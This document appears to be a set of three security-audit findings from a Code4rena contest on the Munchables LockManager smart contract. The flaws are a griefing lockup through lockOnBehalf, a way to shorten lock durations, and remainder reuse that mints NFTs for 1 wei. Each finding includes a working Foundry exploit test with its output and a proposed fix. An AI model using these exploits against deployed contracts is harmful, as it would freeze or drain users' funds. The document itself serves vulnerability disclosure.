Munchables - Limbooo's results

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L274-L294 https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L382-L384

Vulnerability details

Introduction

The lockOnBehalf function in the LockManager contract allows any user to lock funds on behalf of another player. A malicious user can exploit this function to repeatedly lock small amounts of funds (e.g., 1 Wei) on behalf of a target player, continually resetting the lockup period. This effectively prevents the target player from ever unlocking their funds or changing their lock duration.

Impact

• Permanent Lockup: A malicious user can prevent the target player from ever unlocking their funds by continually locking even a small amount of tokens (e.g., 1 Wei) on their behalf every day, or right before the lock end time, or even after the lock end time by front-runs player's unlock transaction. This resets the lockup period each time.
• Denial of Service (DoS): The target player is effectively prevented from accessing their funds and cannot change their lock duration in their player settings.

Proof of Concept

This PoC demonstrates two players, Alice and Bob, where Bob (the attacker) takes advantage of this vulnerability to prevent Alice (honest player) from unlocking her funds.

Test Case (Foundry)

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import "./MunchablesTest.sol";

// This PoC demonstrates two players, Alice and Bob,
// where Bob (the attacker) takes advantage of this vulnerability
// to prevent Alice (honest player) from unlocking his funds.
contract LockManagerPoC is MunchablesTest {
    address alice;
    address bob;


    function testDosPlayersLocks() public {
        uint256 lockAmount = 10e18;

        console.log("Beginning run()");
        deployContracts();
        setUpTest(lockAmount);

        // Alice locks tokens
        vm.prank(alice);
        lm.lock{value: lockAmount}(address(0), lockAmount);
        logStep("Before Bob Attacks Alice Lock:");

        // Attack Scenario 1: Bob continuously locks 1 Wei on behalf of Alice every day to reset the lockup period.
        uint256 smallLockAmount = 1 wei;
        for (uint256 i = 0; i < 30; i++) {
            vm.warp(block.timestamp + 1 days - 1);
            uint256 unlockBefore = getEthUnlockTime(alice);

            vm.prank(bob);
            lm.lockOnBehalf{value: smallLockAmount}(address(0), smallLockAmount, alice);

            // Impact: Check Alice's lock end time
            uint256 unlockAfter = getEthUnlockTime(alice);
            assertGt(unlockAfter, unlockBefore);
        }

        // Attack Scenario 2: Also, Bob can just locks right before the lock end to minimize the cost.
        for (uint256 i = 0; i < 10; i++) {
            uint256 unlockBefore = getEthUnlockTime(alice);
            vm.warp(unlockBefore - 1);

            vm.prank(bob);
            lm.lockOnBehalf{value: smallLockAmount}(address(0), smallLockAmount, alice);

            // Impact: Check Alice's lock end time
            uint256 unlockAfter = getEthUnlockTime(alice);
            assertGt(unlockAfter, unlockBefore);
        }

        // Attack Scenario 3: Also, Bob can run an MVE bot that fromt-runs player's unlock calls,
        // So he can target a big group of players automatically, thus prevent unlocking even after lock time ended.
        for (uint256 i = 0; i < 10; i++) {
            uint256 unlockBefore = getEthUnlockTime(alice);
            // Wrap after lock time ended
            vm.warp(unlockBefore + 1 );

            // Alice send transaction to unlock,
            // but Bob front-run him and locks small amount to prevent him from unlocking
            vm.prank(bob);
            lm.lockOnBehalf{value: smallLockAmount}(address(0), smallLockAmount, alice);
            vm.prank(alice);
            vm.expectRevert();
            lm.unlock(address(0), lockAmount);

            // Thus, changing lock duration in player settings would revert too

            // Impact: Check Alice's lock end time
            uint256 unlockAfter = getEthUnlockTime(alice);
            assertGt(unlockAfter, unlockBefore);
        }

        logStep("After A Series Attacks on Alice's Lock:");
    }

    function setUpTest(uint256 lockAmount) internal {
        // Make address and mint funds.
        alice = makeAddr("Alice");
        bob = makeAddr("Bob");
        vm.deal(alice, lockAmount);
        vm.deal(bob, lockAmount);

        // Player registration for Alice and Bob.
        vm.prank(alice);
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        vm.prank(bob);
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        console.log("");
        console.log("\u250F----------------------------\u2513");
        console.log("\u2503         TEST LOGS          \u2503");
        console.log("\u2517----------------------------\u251B");

    }

    function getEthUnlockTime(address player) internal view returns(uint32){
        ILockManager.LockedTokenWithMetadata[] memory lockedTokens = lm
            .getLocked(player);
        for (uint i; i < lockedTokens.length; i++) {
            if (lockedTokens[i].tokenContract == address(0)) {
                return lockedTokens[i].lockedToken.unlockTime;
            }
        }
        return 0;
    }


    function logStep(string memory _msg) internal view {

        console.log(" -", _msg);
        console.log("   Current Day: ", block.timestamp / 1 days);

        console.log("   Alice:-");
        logTestPlayer(alice);

        console.log("------------------------------");
    }

    function logTestPlayer(address player) internal view {
        ILockManager.LockedTokenWithMetadata[] memory lockedTokens = lm
            .getLocked(player);

        console.log(
            "       Lock Duration (Days):",
            lm.getPlayerSettings(player).lockDuration / 1 days
        );
        console.log("       - Locked Tokens:-");
        for (uint i; i < lockedTokens.length; i++) {
            if (lockedTokens[i].tokenContract == address(0)) {
                console.log(
                    "           Quantity:",
                    lockedTokens[i].lockedToken.quantity
                );
                console.log(
                    "           Last Lock Time:",
                    lockedTokens[i].lockedToken.lastLockTime
                );
                console.log(
                    "           Unlock Time:",
                    lockedTokens[i].lockedToken.unlockTime
                );
                
            }
        }
    }
}

Test output

2024-05-munchables main* 10s
❯ forge test --match-path src/test/LockManagerPoC2.t.sol -vv
[⠊] Compiling...
[⠑] Compiling 1 files with 0.8.25
[⠘] Solc 0.8.25 finished in 7.97s
Compiler run successful!

Ran 1 test for src/test/LockManagerPoC2.t.sol:LockManagerPoC
[PASS] testDosPlayersLocks() (gas: 67881318)
Logs:
  Beginning run()
..SNIP..

  ┏----------------------------┓
  ┃         TEST LOGS          ┃
  ┗----------------------------┛
   - Before Bob Attacks Alice Lock:
     Current Day:  0
     Alice:-
         Lock Duration (Days): 1
         - Locked Tokens:-
             Quantity: 10000000000000000000
             Last Lock Time: 1
             Unlock Time: 86401
  ------------------------------
   - After A Series Attacks on Alice's Lock:
     Current Day:  49
     Alice:-
         Lock Duration (Days): 1
         - Locked Tokens:-
             Quantity: 10000000000000000050
             Last Lock Time: 4319971
             Unlock Time: 4406371
  ------------------------------

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 35.63ms (28.76ms CPU time)

Ran 1 test suite in 168.06ms (35.63ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

• Foundry

Recommended Mitigation Steps

To mitigate this issue, the contract should include a mechanism to prevent frequent resetting of the lockup period. Possible solutions include:

• Minimum Lock Amount: Introduce a minimum amount for locking additional funds that is substantial enough to prevent abuse by locking small amounts like 1 Wei. While this won't fully mitigate the issue, it will reduce the risk of frequent resetting.
• Separate Lock Periods: Allow additional locks without resetting the original lockup period. Instead, create separate lock periods for each lock transaction to ensure the original lock duration is maintained.
• Restricted Locking Authority: Restrict the ability to lock tokens on behalf of a player to the player themselves or to entities explicitly approved by the player. This ensures that only trusted parties can modify the lockup period.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L255-L261

Vulnerability details

The setLockDuration function in the LockManager contract has a vulnerability that allows users to reduce their lockup times. The issue arises because the contract checks if the new lock duration, added to the current timestamp, is less than the current unlock time. This allows users to repeatedly lock tokens with shorter durations to effectively reduce the lockup period.

src/managers/LockManager.sol:
  245:     function setLockDuration(uint256 _duration) external notPaused {
  ....
  255:                 // check they are not setting lock time before current unlocktime
@>256:                 if (
  257:                     uint32(block.timestamp) + uint32(_duration) <
  258:                     lockedTokens[msg.sender][tokenContract].unlockTime
  259:                 ) {
  260:                     revert LockDurationReducedError();
  261:                 }
  262: 
  263:                 uint32 lastLockTime = lockedTokens[msg.sender][tokenContract]
  264:                     .lastLockTime;
@>265:                 lockedTokens[msg.sender][tokenContract].unlockTime =
  266:                     lastLockTime +
  267:                     uint32(_duration);
  268:             }
  269:         }
  270: 
  271:         emit LockDuration(msg.sender, _duration);
  272:     }
  273  

Impact

Players can reduce their lockup times, violating the intended lockup period rules. This can lead to players being able to unlock their tokens earlier than intended, undermining the protocol’s integrity and potentially leading to financial losses or unfair advantages:

• Players could game the system to maximize Schnibbles allocation without adhering to intended lockup periods.
• Potentially exploits the system to get bonuses without committing to intended lock durations.
• Some players could gain an unfair advantage by having more flexibility with their locked funds.
• Players could exploit the system financially by maximizing MUNCH points accumulation without the intended financial commitment.
• Could lead to an imbalance in the initial setup of future spin-off games.

Proof of Concept

Test Case (Foundry)

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import "./MunchablesTest.sol";

// This PoC demonstrates two players, Alice and Bob,
// where Bob (the attacker) takes advantage of this vulnerability
// to allocate more Schnibbles than Alice (honest player).
// Both Alice and Bob have locked the same funds amount for the same duration eventually.
contract LockManagerPoC is MunchablesTest {
    address alice;
    address bob;

    function testLockupEndTimeReduction() public {
        uint256 lockAmount = 10e18;

        console.log("Beginning run()");
        deployContracts();
        setUpTest(lockAmount);

        // Alice set lock duration to 45 days.
        vm.prank(alice);
        lm.setLockDuration(45 days);
        // Bob set lock duration to 90 days.
        vm.prank(bob);
        lm.setLockDuration(90 days);

        // Lock tokens.
        vm.prank(alice);
        lm.lock{value: lockAmount}(address(0), lockAmount);
        vm.prank(bob);
        lm.lock{value: lockAmount}(address(0), lockAmount);
        logStep("Timing After Players Lock: ");

        uint32 unlockTimeBefore = getEthUnlockTime(alice);

        // Impact: Bob here could game the system,
        // by taking advantage of an unlock time that would be reduced.
        // This would affects `harvest()` since it uses the bonus when `getHarvestBonus`,
        // where bonus is calculated using the current player lock duration.
        (, uint256 bonusBefore) = amp.getDailySchnibbles(
            alice
        );
        

        // warp by 45 days.
        uint256 unlockTime = block.timestamp + 45 days;
        vm.warp(unlockTime);
        logStep("After Warping (+45 days):");


        // Attack: After finishing the half of lock period,
        // Bob can reduce by half of the period and unlock immediately!
        uint256 newDuration = 45 days;
        vm.prank(bob);
        lm.setLockDuration(newDuration);
        logStep(
            "After Bob Reduces Lock Duration (from 90 days to 45 days):"
        );
        uint32 unlockTimeAfter = getEthUnlockTime(alice);
        (, uint256 bonusAfter) = amp.getDailySchnibbles(
            alice
        );

        // This is the check from impl that assumed to prevent this from happning:
        assertFalse(
            uint32(block.timestamp) + newDuration < unlockTimeBefore
        );

        // PoC: Check that the unlock time is reduced.
        assertLe(unlockTimeAfter, unlockTimeBefore);
        // PoC: Check that the bouns has changed.
        assertLe(bonusAfter, bonusBefore);


        // Impact: Bob can unlock now
        vm.prank(bob);
        lm.unlock(address(0), lockAmount);
    }

    function setUpTest(uint256 lockAmount) internal {
        // Make address and mint funds.
        alice = makeAddr("Alice");
        bob = makeAddr("Bob");
        vm.deal(alice, lockAmount);
        vm.deal(bob, lockAmount);

        // Player registration for Alice and Bob.
        vm.prank(alice);
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        vm.prank(bob);
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        console.log("");
        console.log("\u250F----------------------------\u2513");
        console.log("\u2503         TEST LOGS          \u2503");
        console.log("\u2517----------------------------\u251B");

    }

    function getEthUnlockTime(address player) internal view returns(uint32){
        ILockManager.LockedTokenWithMetadata[] memory lockedTokens = lm
            .getLocked(player);
        for (uint i; i < lockedTokens.length; i++) {
            if (lockedTokens[i].tokenContract == address(0)) {
                return lockedTokens[i].lockedToken.unlockTime;
            }
        }
        return 0;
    }


    function logStep(string memory _msg) internal view {

        console.log(" -", _msg);
        console.log("   Current Day: ", block.timestamp / 1 days);

        console.log("   Alice:-");
        logTestPlayer(alice);

        console.log("   Bob (Attacker):-");
        logTestPlayer(bob);

        console.log("------------------------------");
    }

    function logTestPlayer(address player) internal view {
        ILockManager.LockedTokenWithMetadata[] memory lockedTokens = lm
            .getLocked(player);
        (, uint256  bonus) = amp.getDailySchnibbles(player);

        console.log(
            "       Lock Duration (Days):",
            lm.getPlayerSettings(player).lockDuration / 1 days
        );
        // console.log("       Daily Schnibbles: ", dailySchnibbles);
        console.log("       Daily Schnibbles bonus: ", bonus);
        console.log("       - Locked Tokens:-");
        for (uint i; i < lockedTokens.length; i++) {
            if (lockedTokens[i].tokenContract == address(0)) {
                console.log(
                    "           Quantity:",
                    lockedTokens[i].lockedToken.quantity
                );
                console.log(
                    "           Last Lock Time:",
                    lockedTokens[i].lockedToken.lastLockTime
                );
                console.log(
                    "           Unlock Time:",
                    lockedTokens[i].lockedToken.unlockTime
                );
                
            }
        }
    }
}

Test output

2024-05-munchables main* 9s
❯ forge test --match-path src/test/LockManagerPoC.t.sol -vv
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for src/test/LockManagerPoC.t.sol:LockManagerPoC
[PASS] testLockupEndTimeReduction() (gas: 63901805)
Logs:
  Beginning run()
..SNIP..

  ┏----------------------------┓
  ┃         TEST LOGS          ┃
  ┗----------------------------┛
   - Timing After Players Lock:
     Current Day:  0
     Alice:-
         Lock Duration (Days): 45
         Daily Schnibbles bonus:  75000000000000000
         - Locked Tokens:-
             Quantity: 10000000000000000000
             Last Lock Time: 1
             Unlock Time: 3888001
     Bob (Attacker):-
         Lock Duration (Days): 90
         Daily Schnibbles bonus:  300000000000000000
         - Locked Tokens:-
             Quantity: 10000000000000000000
             Last Lock Time: 1
             Unlock Time: 7776001
  ------------------------------
   - After Warping (+45 days):
     Current Day:  45
     Alice:-
         Lock Duration (Days): 45
         Daily Schnibbles bonus:  75000000000000000
         - Locked Tokens:-
             Quantity: 10000000000000000000
             Last Lock Time: 1
             Unlock Time: 3888001
     Bob (Attacker):-
         Lock Duration (Days): 90
         Daily Schnibbles bonus:  300000000000000000
         - Locked Tokens:-
             Quantity: 10000000000000000000
             Last Lock Time: 1
             Unlock Time: 7776001
  ------------------------------
   - After Bob Reduces Lock Duration (from 90 days to 45 days):
     Current Day:  45
     Alice:-
         Lock Duration (Days): 45
         Daily Schnibbles bonus:  75000000000000000
         - Locked Tokens:-
             Quantity: 10000000000000000000
             Last Lock Time: 1
             Unlock Time: 3888001
     Bob (Attacker):-
         Lock Duration (Days): 45
         Daily Schnibbles bonus:  75000000000000000
         - Locked Tokens:-
             Quantity: 10000000000000000000
             Last Lock Time: 1
             Unlock Time: 3888001
  ------------------------------

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 29.20ms (21.33ms CPU time)

Ran 1 test suite in 169.13ms (29.20ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

• Foundry

Recommended Mitigation Steps

To mitigate this issue, the contract should use the last lock time instead of the current timestamp to calculate the new unlock time when checking.

// check they are not setting lock time before current unlocktime
uint32 lastLockTime = lockedTokens[msg.sender][tokenContract].lastLockTime;
if (
    lastLockTime + uint32(_duration) <
    lockedTokens[msg.sender][tokenContract].unlockTime
) {
    revert LockDurationReducedError();
}

// Update unlock time based on last lock time and new duration
lockedTokens[msg.sender][tokenContract].unlockTime = lastLockTime + uint32(_duration);

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L401-L427 https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L344

Vulnerability details

The lock function in the LockManager contract has a vulnerability where the remainder from a previous lock is not cleared after unlocking tokens. This allows a user to accumulate remainders and exploit the system by locking minimal amounts of tokens to mint Munchables NFTs without providing the required funds. Specifically, after unlocking tokens, the remainder from the previous lock is not reset, enabling the user to use this remainder in subsequent locks to gain an unfair advantage.

src/managers/LockManager.sol:
  343          // add remainder from any previous lock
  344:         uint256 quantity = _quantity + lockedToken.remainder;

Impact

• Unfair Advantage: Players can mint Munchables NFTs without locking the required amount of tokens, gaining an unfair advantage.
• Economic Exploit: This loophole can lead to a significant imbalance in the game’s economy, where players receive NFTs without providing the necessary funds, impacting the overall tokenomics of the platform.

Proof of Concept

This PoC demonstrates how players can lock less than the nftCost and still get one unrevealed Munchable.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import "./MunchablesTest.sol";

// This PoC demonstrates how players get revealed Munchables (nft) while locking less than the `nftCost`
contract LockManagerPoC is MunchablesTest {

    function testPlayerGetMunchableWhileLocking1WeiOnly() public {
        console.log("Beginning run()");
        deployContracts();
        setUpTest();

        uint256 ethNftCost = lm.getConfiguredToken(address(0)).nftCost;
        uint256 lockAmountWithMaxRemainder = ethNftCost - 1;

        lm.lock{value: lockAmountWithMaxRemainder}(address(0), lockAmountWithMaxRemainder);
        logLockedTokens("Tokens After Locking Max Remainder:");

        vm.warp(block.timestamp + 1 days );
        lm.unlock(address(0), lockAmountWithMaxRemainder);
        // check remainder
        uint256 lockedRemainder = lm.getLocked(address(this))[0].lockedToken.remainder;
        assertEq(lockedRemainder, lockAmountWithMaxRemainder, "Lock remainder dose reset after unlocking");

        logLockedTokens("Tokens After Unlocking Max Remainder:");

        // locking 1 Wei
        lm.lock{value: 1}(address(0), 1);

        // check unrevealedNFTs
        uint unrevealedNFTs =  nfto.getUnrevealedNFTs(address(this));
        assertEq(unrevealedNFTs, 1, "Player did not get unrevealed Munchables while locking only 1 Wei");

        logLockedTokens("Tokens After Locking (1 Wei) Only:");
        logPlayer("Player After Locking (1 Wei) Only:");
    }

    function testPlayerGetExtraMunchable() public {
        console.log("Beginning run()");
        deployContracts();
        setUpTest();

        lm.lock{value: 1.5e18}(address(0), 1.5e18);
        logLockedTokens("Tokens After Locking 1.5e18:");

        uint256 lockedRemainder = lm.getLocked(address(this))[0].lockedToken.remainder;
        uint unrevealedNFTsBefore =  nfto.getUnrevealedNFTs(address(this));


        vm.warp(block.timestamp + 1 days );
        lm.unlock(address(0), lockedRemainder);
        // check remainder
        lockedRemainder = lm.getLocked(address(this))[0].lockedToken.remainder;
        assertEq(lockedRemainder, .5e18, "Lock remainder dose reset after unlocking");

        logLockedTokens("Tokens After Unlocking Remainder (0.5e18):");


        // relocking an amount that complate a devisor for the current remainder (.5e18)
        lm.lock{value: .5e18}(address(0), .5e18);

        // check unrevealedNFTs
        uint unrevealedNFTs =  nfto.getUnrevealedNFTs(address(this));
        assertEq(unrevealedNFTs, unrevealedNFTsBefore + 1, "Player did not get extra unrevealed Munchables");

        logLockedTokens("Tokens After Locking Devisor Completion (.5e18):");
        logPlayer("Player After Locking Devisor Completion (.5e18):");
    }

    function setUpTest() internal {
        // Player registration.
        amp.register(MunchablesCommonLib.Realm(3), address(0));
  
        console.log("");
        console.log("\u250F----------------------------\u2513");
        console.log("\u2503         TEST LOGS          \u2503");
        console.log("\u2517----------------------------\u251B");
    }
}

Test output

2024-05-munchables main* 9s
❯ forge test --match-path src/test/LockManagerPoC3.t.sol -vv
[⠊] Compiling...
[⠒] Compiling 1 files with 0.8.25
[⠢] Solc 0.8.25 finished in 8.35s
Compiler run successful!

Ran 2 tests for src/test/LockManagerPoC3.t.sol:LockManagerPoC
[PASS] testPlayerGetExtraMunchable() (gas: 63314043)
Logs:
  Beginning run()
...
  ┏----------------------------┓
  ┃         TEST LOGS          ┃
  ┗----------------------------┛
  -------------------------------
  Tokens After Locking 1.5e18:
  ETH Locked: 1500000000000000000
  Remainder: 500000000000000000
  -------------------------------
  received ETH: 500000000000000000
  -------------------------------
  Tokens After Unlocking Remainder (0.5e18):
  ETH Locked: 1000000000000000000
  Remainder: 500000000000000000
  -------------------------------
  -------------------------------
  Tokens After Locking Devisor Completion (.5e18):
  ETH Locked: 1500000000000000000
  Remainder: 0
  -------------------------------
  -------------------------------
  Player After Locking Devisor Completion (.5e18):
  Registration Date: 1
  Unfed Schnibbles: 5250000000000000000000000
  Unrevealed NFTs: 2
  Points: 0
  MUNCH tokens: 0
  -------------------------------

[PASS] testPlayerGetMunchableWhileLocking1WeiOnly() (gas: 63290998)
Logs:
  Beginning run()
...
  ┏----------------------------┓
  ┃         TEST LOGS          ┃
  ┗----------------------------┛
  -------------------------------
  Tokens After Locking Max Remainder:
  ETH Locked: 999999999999999999
  Remainder: 999999999999999999
  -------------------------------
  received ETH: 999999999999999999
  -------------------------------
  Tokens After Unlocking Max Remainder:
  ETH Locked: 0
  Remainder: 999999999999999999
  -------------------------------
  -------------------------------
  Tokens After Locking (1 Wei) Only:
  ETH Locked: 1
  Remainder: 0
  -------------------------------
  -------------------------------
  Player After Locking (1 Wei) Only:
  Registration Date: 1
  Unfed Schnibbles: 3499999999999999996500000
  Unrevealed NFTs: 1
  Points: 0
  MUNCH tokens: 0
  -------------------------------

Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 24.19ms (34.62ms CPU time)

Ran 1 test suite in 156.70ms (24.19ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)

Tools Used

• Foundry

Recommended Mitigation Steps

To mitigate this issue, the contract should include a mechanism to handle remainders correctly and prevent the exploitation of locking minimal amounts to mint NFTs. Possible solutions include:

• Clear Locked Remainder: Ensure that remainders are cleared or correctly handled after unlocking tokens to prevent accumulation and exploitation.

Here is a potential solution implementing the clearing of remainders:

diff --git a/src/managers/LockManager.sol b/src/managers/LockManager.sol
index c5f68d6..c1b2383 100644
--- a/src/managers/LockManager.sol
+++ b/src/managers/LockManager.sol
@@ -413,6 +413,15 @@ contract LockManager is BaseBlastManager, ILockManager, ReentrancyGuard {
         // force harvest to make sure that they get the schnibbles that they are entitled to
         accountManager.forceHarvest(msg.sender);

+        // clear locked remainder
+        if (lockedToken.remainder > 0) {
+            if (_quantity > lockedToken.remainder) {
+                lockedToken.remainder = 0;
+            } else {
+                lockedToken.remainder -= _quantity;
+            }
+        }
+
         lockedToken.quantity -= _quantity;

         // send token
(END)

This approach ensures that remainders are cleared after unlocking, preventing the accumulation and exploitation of minimal lock amounts.

Assessed type

Other